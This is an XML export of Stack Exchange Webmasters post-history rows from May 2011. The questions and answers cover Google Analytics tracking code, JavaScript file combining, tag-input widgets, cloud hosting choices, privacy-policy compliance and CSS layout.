  <row Id="30956" PostHistoryTypeId="2" PostId="13422" RevisionGUID="e5b386cf-1498-4786-9323-2e19239832b0" CreationDate="2011-05-06T08:08:34.907" UserId="4306" Text="No, there is no way to track which version of Quicktime a user has installed using Google Analytics out of the box.&#xD;&#xA;&#xD;&#xA;However, you should be able to detect which version of QT is running using JavaScript, and then set it as a Custom Variable.  Here is some old code from Apple for version detection:&#xD;&#xA;&#xD;&#xA;http://developer.apple.com/internet/webcontent/detectplugins.html&#xD;&#xA;&#xD;&#xA;Google Analytics Custom Variables:&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html" />
  <row Id="30957" PostHistoryTypeId="2" PostId="13423" RevisionGUID="9484163f-6d4c-4681-895f-443ec490955f" CreationDate="2011-05-06T08:44:16.560" UserId="4502" Text="&lt;a href=&quot;http://www.mollify.org/&quot;&gt;Mollify&lt;/a&gt; should get you most of the way there. The main thing I'm not sure of is having each of your people be able to manage their own sub-group of people. You might be able to mimic it with the groups feature instead. Or just separate installs if it's not too big a group of people, I suppose.  &#xD;&#xA;(Having multiple, independent, admins under one system like that is a *lot* of user/permissions management and starts pushing the boundaries of you asking for &quot;simple.&quot; I'm not sure it's even such a great idea, to be honest.)" />
  <row Id="30958" PostHistoryTypeId="2" PostId="13424" RevisionGUID="05ff8826-4e83-4afd-aef0-173ce430ca57" CreationDate="2011-05-06T09:02:45.350" UserId="4424" Text="I notice this is the case mainly for rather sophisticated pages. However, why don't developers simply combine the JS files and condense it all together? Is it not a more efficient method, in terms of requests? I am not sure if it is but it would seem that way." />
  <row Id="30959" PostHistoryTypeId="1" PostId="13424" RevisionGUID="05ff8826-4e83-4afd-aef0-173ce430ca57" CreationDate="2011-05-06T09:02:45.350" UserId="4424" Text="Why do many websites have so many javascript includes?" />
  <row Id="30960" PostHistoryTypeId="3" PostId="13424" RevisionGUID="05ff8826-4e83-4afd-aef0-173ce430ca57" CreationDate="2011-05-06T09:02:45.350" UserId="4424" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;javascript&gt;" />
  <row Id="30961" PostHistoryTypeId="2" PostId="13425" RevisionGUID="cb7e57a0-cd58-4920-abbc-f6fadefec16c" CreationDate="2011-05-06T09:09:02.457" UserId="4424" Text="You know what I am talking about: Where some websites have a text area (for tagging, or for mass emailing), you type something and when you press enter a bubble appears to wrap your text into a single unit, with a small 'x' on the side which when clicked will erase the bubble and all its contents. &#xD;&#xA;&#xD;&#xA;What is that bubble effect called? Can someone point me in the right direction on how it can be done? Thanks. " />
  <row Id="30962" PostHistoryTypeId="1" PostId="13425" RevisionGUID="cb7e57a0-cd58-4920-abbc-f6fadefec16c" CreationDate="2011-05-06T09:09:02.457" UserId="4424" Text="How to create tabbed, text-bubble, effect" />
  <row Id="30963" PostHistoryTypeId="3" PostId="13425" RevisionGUID="cb7e57a0-cd58-4920-abbc-f6fadefec16c" CreationDate="2011-05-06T09:09:02.457" UserId="4424" Text="&lt;jquery&gt;&lt;user-input&gt;&lt;gui&gt;" />
  <row Id="30964" PostHistoryTypeId="25" PostId="13424" RevisionGUID="a9c4ee57-63a9-47ad-80e7-94ad9f24d180" CreationDate="2011-05-06T09:11:28.820" Comment="http://twitter.com/#!/StackWebmasters/status/66429866098171906" />
  <row Id="30965" PostHistoryTypeId="2" PostId="13426" RevisionGUID="634d9a57-482e-4aae-8d95-4ff6d29d3aa9" CreationDate="2011-05-06T09:12:43.030" UserId="1643" Text="It's easier not to. You take a bit of jQuery here and another useful script from there and just include both, and so it goes on. If you don't combine them it also makes upgrading one particular bit, like your jQuery library, easier.&#xD;&#xA;&#xD;&#xA;Also, if you're using some sort of CMS which uses lots of scripts then unless you want to modify the CMS and possibly break it, you put it up with so many scripts.&#xD;&#xA;&#xD;&#xA;Talking of jQuery, it's a good idea to use Google's content delivery network http://code.google.com/apis/libraries/devguide.html#jquery . However that means that if you have another script you're using multiple scripts again." />
  <row Id="30966" PostHistoryTypeId="2" PostId="13427" RevisionGUID="4aa494a6-0806-4b92-8d8a-f092c4791138" CreationDate="2011-05-06T09:19:19.323" UserId="1643" Text="I'd call it tag suggestion. This jquery plugin does sort of what you want http://plugins.jquery.com/project/tag-it/ but with no actual bubble. You can probably do the bubble with some CSS styling to get rounded corners." />
  <row Id="30967" PostHistoryTypeId="2" PostId="13428" RevisionGUID="0f214fbb-d03f-4fe9-84ad-48fd98d9bc4b" CreationDate="2011-05-06T09:28:27.207" UserId="5718" Text="It's easier to develop a site if the scripts are separate but usually better to combine them for delivery as long as they aren't going to interact with each other. &#xD;&#xA;&#xD;&#xA;The reduction of requests will usually make the page load faster. Also, a combined script can usually be compressed to a smaller size than each individual file.&#xD;&#xA;&#xD;&#xA;The main reason files aren't combined is probably laziness but it's not actually too difficult to write a script to do it automatically. Some CMS systems, such as Drupal, have an option to send all the JavaScirpt in a single file." />
  <row Id="30968" PostHistoryTypeId="5" PostId="13419" RevisionGUID="6fb9fc6b-5959-409f-97b1-a115b067896a" CreationDate="2011-05-06T09:29:39.990" UserId="4502" Comment="General cleanup, added tag" Text="Is there any open source script for selling e-vouchers? &#xD;&#xA;I want to show the voucher's information after successful payment, and if customers order more than one voucher all of them must be displayed in a page.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="30969" PostHistoryTypeId="4" PostId="13419" RevisionGUID="6fb9fc6b-5959-409f-97b1-a115b067896a" CreationDate="2011-05-06T09:29:39.990" UserId="4502" Comment="General cleanup, added tag" Text="Open source online shop for selling vouchers" />
  <row Id="30970" PostHistoryTypeId="6" PostId="13419" RevisionGUID="6fb9fc6b-5959-409f-97b1-a115b067896a" CreationDate="2011-05-06T09:29:39.990" UserId="4502" Comment="General cleanup, added tag" Text="&lt;looking-for-a-script&gt;&lt;shopping-cart&gt;" />
  <row Id="30971" PostHistoryTypeId="24" PostId="13419" RevisionGUID="6fb9fc6b-5959-409f-97b1-a115b067896a" CreationDate="2011-05-06T09:29:39.990" Comment="Proposed by 4502 approved by -1 edit id of 253" />
  <row Id="30972" PostHistoryTypeId="5" PostId="13419" RevisionGUID="290d19cf-400b-49c4-88b2-91b8a818637b" CreationDate="2011-05-06T09:29:40.740" UserId="1064" Comment="Minor mechanics of language changes" Text="Are there any open source scripts for selling e-vouchers?&#xD;&#xA;&#xD;&#xA;I want to show the voucher's information after successful payment and, if customers order more than one voucher, all of the vouchers must be displayed in a page.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="30973" PostHistoryTypeId="2" PostId="13429" RevisionGUID="fcea4622-59a6-49dd-8936-99c45bdf904b" CreationDate="2011-05-06T10:32:00.413" UserId="3312" Text="300 Links at 0.004 requests per second is next to nothing.  I cannot imagine any hosting plan (even free ones) having a problem with this.  If your host is throttling/blocking this then I would recommend getting a new host! (which is it by the way?)  This is definitely not a reason to switch to VPS." />
  <row Id="30974" PostHistoryTypeId="5" PostId="11723" RevisionGUID="cc7c9b2a-1ac4-4189-9356-3946824b16d3" CreationDate="2011-05-06T10:32:38.670" UserId="1643" Comment="Clarified following helpful comment." Text="The way it will affect your indexing is that they will check a given page on your site less often. If the content on that page has changed then &#xD;&#xA;&#xD;&#xA; - they will still list the old content when they show extracts from the pages in the search results&#xD;&#xA; - if it's got &quot;better&quot; as far as Google is concerned, in other words, better ranking, it will take longer before your site goes up in the rankings&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30979" PostHistoryTypeId="2" PostId="13430" RevisionGUID="24d73c4d-56ee-4324-b54a-30ecc5beb596" CreationDate="2011-05-06T11:36:10.510" UserId="5739" Text="Just be aware that by impersonating the client on the domain registrations you are more than likely breaking the Terms and conditions of the Registry.  &#xD;&#xA;&#xD;&#xA;I know that Nominet state in section 4.1 of their Terms &amp; Conditions that:&#xD;&#xA;&#xD;&#xA;&gt; give and keep us notified of your&#xD;&#xA;&gt; correct name, postal address and any&#xD;&#xA;&gt; phone, fax or e-mail information and&#xD;&#xA;&gt; those of your contacts (if you appoint&#xD;&#xA;&gt; any, see condition 5.2).  This duty&#xD;&#xA;&gt; includes responding quickly and&#xD;&#xA;&gt; correctly to any request from us to&#xD;&#xA;&gt; confirm or correct the information on&#xD;&#xA;&gt; the register;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30980" PostHistoryTypeId="5" PostId="13408" RevisionGUID="1f497ced-decc-4656-b2b8-5518f2f772f7" CreationDate="2011-05-06T11:39:16.650" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How bad is it to use display: none in CSS?](http://webmasters.stackexchange.com/questions/1377/how-bad-is-it-to-use-display-none-in-css)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;So i have a nav with tons of stuff and we want to scale back a few of the a tags in the nav but still have them on the page. So for example I was thinking of using jQuery or css display none to hide the text...but we still want the text on the page for the google crawler. Does this technique hurt our current SEO rankings or is it frowned on by google. Here is my [site][1] and the nav is on the left....If this will hurt the SEO status is there anything else we can do to keep the text on the page without effecting SEO&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://posnation.com/" />
  <row Id="30981" PostHistoryTypeId="10" PostId="13408" RevisionGUID="c86d2685-efa8-4316-9b35-ad706b20fe35" CreationDate="2011-05-06T11:39:16.013" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30982" PostHistoryTypeId="2" PostId="13431" RevisionGUID="cac61be9-fdbb-4a5f-9c7a-60779a51573b" CreationDate="2011-05-06T11:50:36.157" UserId="1643" Text="The Amazon EC2 free tier that Bozho mentioned is available for use with Elastic Beanstalk - http://aws.amazon.com/elasticbeanstalk/#pricing . It supports Tomcat:&#xD;&#xA;&#xD;&#xA;&gt; The first release of Elastic Beanstalk&#xD;&#xA;&gt; is built for Java developers using the&#xD;&#xA;&gt; familiar Apache Tomcat software stack&#xD;&#xA;&gt; which ensures easy portability for&#xD;&#xA;&gt; your application." />
  <row Id="30983" PostHistoryTypeId="2" PostId="13432" RevisionGUID="ac9de51f-90b3-4547-8e49-f489817819f5" CreationDate="2011-05-06T11:59:00.700" UserId="7198" Text="Use `position:fixed` and `z-index:10` on the `.sandwich` class to keep your header and footer static above the `#content` div, then style the `body` to get your background red colour to fill the space between. &lt;a href=&quot;http://jsfiddle.net/4bHsm/2/&quot;&gt;Live demo here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;        &#xD;&#xA;        body{&#xD;&#xA;            background-color:red;&#xD;&#xA;            padding:0;&#xD;&#xA;            margin:0;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        .sandwich{&#xD;&#xA;            position:fixed;&#xD;&#xA;            height: 50px;&#xD;&#xA;            width: 100%; &#xD;&#xA;            background-color:grey;&#xD;&#xA;            z-index:10;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        #header{ top: 0px;}&#xD;&#xA;        #footer{ bottom: 0px;}&#xD;&#xA;    &#xD;&#xA;        #content{ position:absolute; top:50px; }  &#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content goes here&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30984" PostHistoryTypeId="25" PostId="13415" RevisionGUID="8eb9ec4f-40eb-4cec-b257-b4fdc0e238de" CreationDate="2011-05-06T12:11:28.283" Comment="http://twitter.com/#!/StackWebmasters/status/66475162744258560" />
  <row Id="30985" PostHistoryTypeId="2" PostId="13433" RevisionGUID="3b751656-caba-47e4-80e3-5250086a7c5d" CreationDate="2011-05-06T12:19:28.310" UserId="7198" Text="I've not seen a 'jsFiddle for the desktop', but there are &lt;a href=&quot;http://net.tutsplus.com/tutorials/other/quick-tip-4-ways-to-auto-refresh-your-browser-when-designing-new-sites/&quot;&gt;several ways to force your browser to refresh&lt;/a&gt; when you save a file or at a set interval.&#xD;&#xA;&#xD;&#xA;One advantage of choosing this route is that you can use your existing editor in half of your screen, put a browser window in the other half, and watch the live preview update as you code. Having a wide monitor helps too." />
  <row Id="30988" PostHistoryTypeId="5" PostId="11643" RevisionGUID="c39e703a-236f-4f43-acc6-11ca0238af88" CreationDate="2011-05-06T12:47:34.980" UserId="4502" Comment="Added self-installed requirement per OP's response to the Dropbox suggestion." Text="I need to provide ftp/http services for a group of users such that:&#xD;&#xA;&#xD;&#xA; - each user has his own password protected area where he can upload files&#xD;&#xA; - each user can create user accounts and passwords for the files he wants to share&#xD;&#xA;&#xD;&#xA;Anybody know of a simple, self-installed, web app that will accomplish this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="30989" PostHistoryTypeId="24" PostId="11643" RevisionGUID="c39e703a-236f-4f43-acc6-11ca0238af88" CreationDate="2011-05-06T12:47:34.980" Comment="Proposed by 4502 approved by -1 edit id of 254" />
  <row Id="30990" PostHistoryTypeId="5" PostId="11643" RevisionGUID="3a2bbdc0-3a66-4e18-8ec5-b5abb7ac7737" CreationDate="2011-05-06T12:47:35.743" UserId="108" Comment="deleted 21 characters in body; edited tags" Text="I need to provide ftp/http services for a group of users such that:&#xD;&#xA;&#xD;&#xA; - each user has his own password protected area where he can upload files&#xD;&#xA; - each user can create user accounts and passwords for the files he wants to share&#xD;&#xA;&#xD;&#xA;Anybody know of a simple, self-installed, web app that will accomplish this?" />
  <row Id="30991" PostHistoryTypeId="6" PostId="11643" RevisionGUID="3a2bbdc0-3a66-4e18-8ec5-b5abb7ac7737" CreationDate="2011-05-06T12:47:35.743" UserId="108" Comment="deleted 21 characters in body; edited tags" Text="&lt;looking-for-a-script&gt;&lt;web-applications&gt;&lt;http&gt;&lt;ftp&gt;" />
  <row Id="30992" PostHistoryTypeId="2" PostId="13434" RevisionGUID="f1ef61ae-7fe0-46ac-aee1-e52ccb458655" CreationDate="2011-05-06T12:52:37.407" UserId="6184" Text="On our website we collect an awful lot of personal information. People upload their CVs, and when they use their social networks to log in, we collect information from there too.&#xD;&#xA;&#xD;&#xA;We use this information for marketing, and may sell access to this data to 3rd parties.&#xD;&#xA;&#xD;&#xA;These are covered in the T&amp;C's of our website. We say that if you sign up, you accept the T&amp;C's (no checkbox, it just says that). That's it.&#xD;&#xA;&#xD;&#xA;What's the best way on making sure everything is done legitimately?" />
  <row Id="30993" PostHistoryTypeId="1" PostId="13434" RevisionGUID="f1ef61ae-7fe0-46ac-aee1-e52ccb458655" CreationDate="2011-05-06T12:52:37.407" UserId="6184" Text="How can I make my website compliant with various data protection and spamming laws?" />
  <row Id="30994" PostHistoryTypeId="3" PostId="13434" RevisionGUID="f1ef61ae-7fe0-46ac-aee1-e52ccb458655" CreationDate="2011-05-06T12:52:37.407" UserId="6184" Text="&lt;legal&gt;&lt;data&gt;" />
  <row Id="30995" PostHistoryTypeId="2" PostId="13435" RevisionGUID="830dbbce-cb20-47b5-8833-a10ca5439130" CreationDate="2011-05-06T12:58:38.883" UserId="6184" Text="a) If you are familiar with linux, it is as easy as configuring any other web server from scratch.&#xD;&#xA;b) Maintenance is significantly less. AWS is a managed solution; you look after your software and data, they look after the infrastructure and data centre.&#xD;&#xA;c) EC2 processing speed is as they promise, and is burstable. You can choose how much CPU you want access to. Latency is very good; you take advantage of a very well peered network. Extra services such as cloudfront can significantly reduce the latency for your visitors.&#xD;&#xA;d) With regards to reliability, we have been using it for nearly a year in mission critical applications and have had no issues; compared with other services we have used before, this is the most reliable. You can set up your use of AWS in such a way that it fails over between data centres, so that even a data-centre wide outage would not affect your application.&#xD;&#xA;&#xD;&#xA;Compared with all other services, AWS is easily the most advanced cloud computing environment available.&#xD;&#xA;&#xD;&#xA;I cannot compare it with Rackspace, but for non-highend applications, it may simply be a matter of preference.&#xD;&#xA;&#xD;&#xA;AWS has a free tier which I encourage you to try if you are curious." />
  <row Id="30996" PostHistoryTypeId="2" PostId="13436" RevisionGUID="2b2e9983-697d-4ee4-895c-fe7370970b56" CreationDate="2011-05-06T13:06:07.030" UserId="1253" Text="1) Clearly state in your privacy policy that you collect personal data from their account and social networks and may sell this information to third parties. **Write this in plain english**.&#xD;&#xA;&#xD;&#xA;2) Clearly state in your TOS that by using your website that the user allows you to access and sell their personal information.&#xD;&#xA;&#xD;&#xA;Those two steps should cover your butt legally. (I am not a lawyer and as always you should consult an actual attorney for a professional opinion). &#xD;&#xA;&#xD;&#xA;The following steps are good netiquette and should help avoid complaints and controversies.&#xD;&#xA;&#xD;&#xA;3) Put a copy of your TOS in your registration page. Don't just link to it, put the actual content there so it is impossible to miss/avoid. (I put it in a textarea so it does't take up a lot of space and scrolls but this can be accomplished other ways as well).&#xD;&#xA;&#xD;&#xA;4) Whenever you update your privacy policy notify members via email and their control panel that it has been updated. Posting a note in the footer of your website is also a good idea.&#xD;&#xA;&#xD;&#xA;5) Allow members to opt out of your service and delete all of their information. This includes no longer selling their information to third parties.&#xD;&#xA;&#xD;&#xA;6) If you are in the US, become a member of the Better Business Bureau.&#xD;&#xA;" />
  <row Id="30997" PostHistoryTypeId="2" PostId="13437" RevisionGUID="812cce2f-1ffa-4d1f-aafd-e49da94b0949" CreationDate="2011-05-06T13:09:18.163" UserId="1643" Text="I find this resource from the Information Commissioners Office useful for wording these sort of things: http://www.ico.gov.uk/for_organisations/data_protection/topic_guides/privacy_notices.aspx&#xD;&#xA;&#xD;&#xA;You may find the small business checklist useful: http://www.ico.gov.uk/for_organisations/data_protection/topic_guides/online.aspx&#xD;&#xA;&#xD;&#xA;For the whole subject of Data Protection I often refer to this document: http://www.ico.gov.uk/upload/documents/library/data_protection/practical_application/the_guide_to_data_protection.pdf&#xD;&#xA;&#xD;&#xA;As for spamming laws, they fall under the [Privacy and Electronic Communications regulations][1]. In particular you can't send marketing emails to domestic subscribers (i.e. people at their non-work emails) without prior consent unless relevant to a recent purchase.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications.aspx" />
  <row Id="30998" PostHistoryTypeId="6" PostId="13434" RevisionGUID="ae1c44a1-069e-473d-8053-33c454c8a6c0" CreationDate="2011-05-06T13:10:33.373" UserId="1643" Comment="edited tags" Text="&lt;legal&gt;&lt;data&gt;&lt;privacy&gt;&lt;privacy-policy&gt;" />
  <row Id="30999" PostHistoryTypeId="17" PostId="13439" RevisionGUID="685d4dbc-6d39-4b3e-aefa-8e2ce7387f93" CreationDate="2011-05-06T13:31:07.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5893328/upgraded-one-page-of-a-site-to-the-async-google-analytics-data-is-now-messed-up/5896373#5896373" Text="" />
  <row Id="31000" PostHistoryTypeId="17" PostId="13440" RevisionGUID="c6d4b33b-191e-4993-9a3b-885e3f044eb9" CreationDate="2011-05-06T13:31:07.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5893328/upgraded-one-page-of-a-site-to-the-async-google-analytics-data-is-now-messed-up/5903725#5903725" Text="" />
  <row Id="31001" PostHistoryTypeId="17" PostId="13441" RevisionGUID="41aefb19-9e07-4b4e-835f-56854f194b69" CreationDate="2011-05-06T13:31:07.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5893328/upgraded-one-page-of-a-site-to-the-async-google-analytics-data-is-now-messed-up/5911612#5911612" Text="" />
  <row Id="31002" PostHistoryTypeId="2" PostId="13439" RevisionGUID="322f9903-02f4-43da-a628-448fa91d0151" CreationDate="2011-05-05T10:39:12.093" UserId="5718" Text="I notice that your calling `_trackPageview` before `_setDomainName`. That could cause some problems with the cookies. Try putting `_trackPageview` at the end of the command list and see if it solves the problem." />
  <row Id="31003" PostHistoryTypeId="2" PostId="13440" RevisionGUID="14da4b33-b074-4752-908d-e3c25d92d3ed" CreationDate="2011-05-05T20:33:05.527" UserDisplayName="lukas" Text="I would agree with what Ewan is saying, _trackPageview has to be the last of the arguments you call because the first arguments are rewriting the arguments or values that _trackPageview then sends to Google (or they are just adding arguments). So the additional or altered arguments need to be defined before you send them over to Google, otherwise you change them after they have already been sent and Google doesn't get noticed about it." />
  <row Id="31004" PostHistoryTypeId="2" PostId="13441" RevisionGUID="09e7d9cc-d70d-4ce8-af44-152e7cafe527" CreationDate="2011-05-06T12:43:33.447" UserDisplayName="Antoine" Text="Yes, _setAccount has to be first (to define which account you send the data to) and _trackPageView or _trackEvent have to be last otherwise subsequent commands will not affect the request.&#xD;&#xA;&#xD;&#xA;Also on a side-note AFAIK, the correct syntax is :&#xD;&#xA;&#xD;&#xA;var _gaq = (['_setAccount', 'UA-XXXXXX-XX'], ['_trackPageview']);&#xD;&#xA;&#xD;&#xA;with parentheses not &#xD;&#xA;&#xD;&#xA;var _gaq = [['_setAccount', 'UA-XXXXXX-XX'], ['_trackPageview']];&#xD;&#xA;&#xD;&#xA;with square brackets,&#xD;&#xA;&#xD;&#xA;although your syntax seems to be working too (otherwise PageViews would not be counted at all)." />
  <row Id="31005" PostHistoryTypeId="2" PostId="13438" RevisionGUID="d8543c0e-7a13-4be4-b662-8023ab0f97cc" CreationDate="2011-05-05T06:05:39.783" UserDisplayName="Ronny" Text="I've upgraded one primary page of a site to use the async version of the GA tracking code. Since the upgrade, number of visits has increased by 60%, avg. time on site has decreased by 40% and the bounce rate of the said page is now always zero. Pageviews are intact.&#xD;&#xA;&#xD;&#xA;I suspect this has to do with using both the traditional and async snippets on the same profile.&#xD;&#xA;&#xD;&#xA;Other than that, it's a pretty standard setup. Right before `&lt;/body&gt;`*, I have this:&#xD;&#xA;&#xD;&#xA;    var _gaq = [['_setAccount', 'UA-XXXXXX-XX'], ['_trackPageview'], ['_setDomainName', 'domain.com'], ['_setAllowLinker', true], ['_setAllowHash', false], ['_setAllowAnchor', true]];&#xD;&#xA;        (function (d, t) {&#xD;&#xA;            var g = d.createElement(t), s = d.getElementsByTagName(t)[0]; g.async = 1;&#xD;&#xA;            g.src = ('https:' == location.protocol ? '//ssl' : '//www') + '.google-analytics.com/ga.js';&#xD;&#xA;            s.parentNode.insertBefore(g, s)&#xD;&#xA;        } (document, 'script'));&#xD;&#xA;&#xD;&#xA;Any other ideas, confirmations and suggestions?&#xD;&#xA;&#xD;&#xA;*I know, it should go before `&lt;/head&gt;`, will fix that in a new version." />
  <row Id="31006" PostHistoryTypeId="1" PostId="13438" RevisionGUID="d8543c0e-7a13-4be4-b662-8023ab0f97cc" CreationDate="2011-05-05T06:05:39.783" UserDisplayName="Ronny" Text="Upgraded one page of a site to the async Google Analytics - Data is now messed up" />
  <row Id="31007" PostHistoryTypeId="3" PostId="13438" RevisionGUID="d8543c0e-7a13-4be4-b662-8023ab0f97cc" CreationDate="2011-05-05T06:05:39.783" UserDisplayName="Ronny" Text="&lt;google-analytics&gt;" />
  <row Id="31008" PostHistoryTypeId="17" PostId="13438" RevisionGUID="31a0b47a-a749-4c4d-ba16-c75a620fd051" CreationDate="2011-05-06T13:31:07.357" UserId="-1" Comment="from http://stackoverflow.com/questions/5893328/upgraded-one-page-of-a-site-to-the-async-google-analytics-data-is-now-messed-up" Text="" />
  <row Id="31009" PostHistoryTypeId="17" PostId="13443" RevisionGUID="1fe49d78-07e8-4eef-b7e2-43b06bdf1e89" CreationDate="2011-05-06T13:31:47.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5910974/google-analytics-regular-expression-to-indicate-today/5911816#5911816" Text="" />
  <row Id="31010" PostHistoryTypeId="2" PostId="13443" RevisionGUID="1ab2602e-f9fc-489d-bba5-56c78b0628ac" CreationDate="2011-05-06T13:00:12.380" UserDisplayName="Antoine" Text="The date in Google Analytics report is defined on the top right menu, where you can pick 'Today' as a choice.&#xD;&#xA;&#xD;&#xA;I don't think either profile-level filters or Advanced Segments can be set on dates.&#xD;&#xA;&#xD;&#xA;If that does't answer your question, I'd love to see a screenshot to see what you are trying to do exactly." />
  <row Id="31011" PostHistoryTypeId="2" PostId="13442" RevisionGUID="09be2464-284b-42dc-ad83-d3b4127df49a" CreationDate="2011-05-06T11:49:40.643" UserDisplayName="Peter" Text="in Google Analytics version 5 (latest beta) there's an option to add a custom filter&#xD;&#xA;&#xD;&#xA;I want to show only data of today.&#xD;&#xA;&#xD;&#xA;Only Show -&gt; Date -&gt; Exactly matching -&gt; &lt;REGEX&gt;&#xD;&#xA;&#xD;&#xA;and then I have the option to fill in in regular expression on the location of &lt;REGEX&gt;&#xD;&#xA;&#xD;&#xA;But what is the regular expression to indicate TODAY?" />
  <row Id="31012" PostHistoryTypeId="1" PostId="13442" RevisionGUID="09be2464-284b-42dc-ad83-d3b4127df49a" CreationDate="2011-05-06T11:49:40.643" UserDisplayName="Peter" Text="Google Analytics regular expression to indicate TODAY?" />
  <row Id="31013" PostHistoryTypeId="3" PostId="13442" RevisionGUID="09be2464-284b-42dc-ad83-d3b4127df49a" CreationDate="2011-05-06T11:49:40.643" UserDisplayName="Peter" Text="&lt;google&gt;&lt;google-analytics&gt;" />
  <row Id="31014" PostHistoryTypeId="17" PostId="13442" RevisionGUID="bc49eccd-3bc0-4e5e-ae44-ad76dd6b3938" CreationDate="2011-05-06T13:31:47.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5910974/google-analytics-regular-expression-to-indicate-today" Text="" />
  <row Id="31015" PostHistoryTypeId="2" PostId="13444" RevisionGUID="7b1d4060-ae06-4e3d-a6c8-32fc54635d4b" CreationDate="2011-05-06T13:39:10.487" UserId="5041" Text="We currently use both EC2 and Rackspace. Both have their pros and cons. We prefer rackspace because it is definitely cheaper and comes with built-in back-ups and excellent support. EC2 requires a lot more knowledge than rackspace and support is extra. We have easy deployment on both platforms for our customers http://www.searchblox.com/searchblox-on-aws-elastic-beanstalk" />
  <row Id="31016" PostHistoryTypeId="2" PostId="13445" RevisionGUID="dfa32591-fd30-47b3-bbeb-e35a61e7814d" CreationDate="2011-05-06T13:45:22.967" UserId="5041" Text="Try Satchmo which is free and open source. http://www.satchmoproject.com/" />
  <row Id="31017" PostHistoryTypeId="2" PostId="13446" RevisionGUID="6b8ec13f-2bae-4397-858b-ed9ed6514f14" CreationDate="2011-05-06T14:09:21.483" UserId="3312" Text="Just to add to the other points here.  If you're in the EU and you have any check-boxes that ask the user if they would like to receive a newsletter/revieve offers from your partners/etc., these must be Opt-In, rather than Opt-Out.  (Ie. no 'Uncheck this box if you don't want to recieve...')" />
  <row Id="31018" PostHistoryTypeId="2" PostId="13447" RevisionGUID="920ef00e-1398-4303-b5e0-9e28e8d765a6" CreationDate="2011-05-06T15:00:43.587" UserId="7304" Text="When talking about efficiency, as has been noted already, you've really got two issues.&#xD;&#xA;&#xD;&#xA; - Efficiency in the development process&#xD;&#xA; - Efficiency in delivering the site to the end user&#xD;&#xA;&#xD;&#xA;It may perhaps be argued, but I think it fairly obvious that delivery is a higher priority. However when it comes to including scripts and dealing with changes in the site, having one massive 'god script' is a giant pain. Modularity is king of maintainability imho.&#xD;&#xA;&#xD;&#xA;One solution, like that mentioned by Ewan about Drupal, is to use your server-side language to dynamically 'compile' a JS file or two putting the whole mess together any time the code changes. Depending on how you achieve this it is possible to go ahead and use many sources during development and only one or a small number of them in production.&#xD;&#xA;&#xD;&#xA;There are also a few other practical matters to consider:&#xD;&#xA;&#xD;&#xA; - You can offload some of your bandwidth for scripts that are hosted by services such as [Google Libraries API](http://code.google.com/apis/libraries/) or [Yahoo's YUI](http://developer.yahoo.com/yui/). Increasingly, users have these files already onhand from other sites and, if nothing else, loading your site from more connections will speed up delivery.&#xD;&#xA; - There are cases where you don't need the same functionality on every page and want to easily leave out some scripts while keeping the ones relevant to the current page.&#xD;&#xA; - Every now and then you may actually want to load individual scripts after load-time using AJAX and whatnot based on the user's browsing context." />
  <row Id="31019" PostHistoryTypeId="25" PostId="13434" RevisionGUID="b3eb6808-e546-45f3-beb8-7911e350b014" CreationDate="2011-05-06T15:11:28.410" Comment="http://twitter.com/#!/StackWebmasters/status/66520460686397440" />
  <row Id="31023" PostHistoryTypeId="2" PostId="13449" RevisionGUID="abc0dae2-cca2-489f-bd9a-8ce9d93d6441" CreationDate="2011-05-06T15:23:40.220" UserId="1426" Text="I had exactly the same problem when I added the async code to a site, it turns out I'd forgotten to remove the old code, so I had both the new and old code on every page. This was effectively recording two visits for every visitor, hence the traffic spike and the 0% bounce. I'd imagine you would have spotted that before posting here - but just in case, it might be worth another look at your page source." />
  <row Id="31026" PostHistoryTypeId="5" PostId="13273" RevisionGUID="9dc0accc-fae8-452d-bfde-3ba0b0018d95" CreationDate="2011-05-06T15:41:30.047" UserId="1429" Comment="edited body" Text="YES and NO.&#xD;&#xA;&#xD;&#xA;**For search indipendent from you search history** YES! you simply have to reset browser (delete cache, cookies, history, etc) prior searching on Google.&#xD;&#xA;The browser MUST not have Google Toolbar installed too.&#xD;&#xA;Since you probably don't want to do it on the main browser you are using every day a good option could be to install a browser just to do these type of tests, You can then reset such browser whenever you want because you are not interested in keeping cookies/history/contents... there.&#xD;&#xA;&#xD;&#xA;**For location indipendent** NO! I think it's not possible because Google sees the IP you use to navigate and can easily geo locate you from it. You would need to search using a proxy, but still Google would geolocate the proxy from its IP.&#xD;&#xA;" />
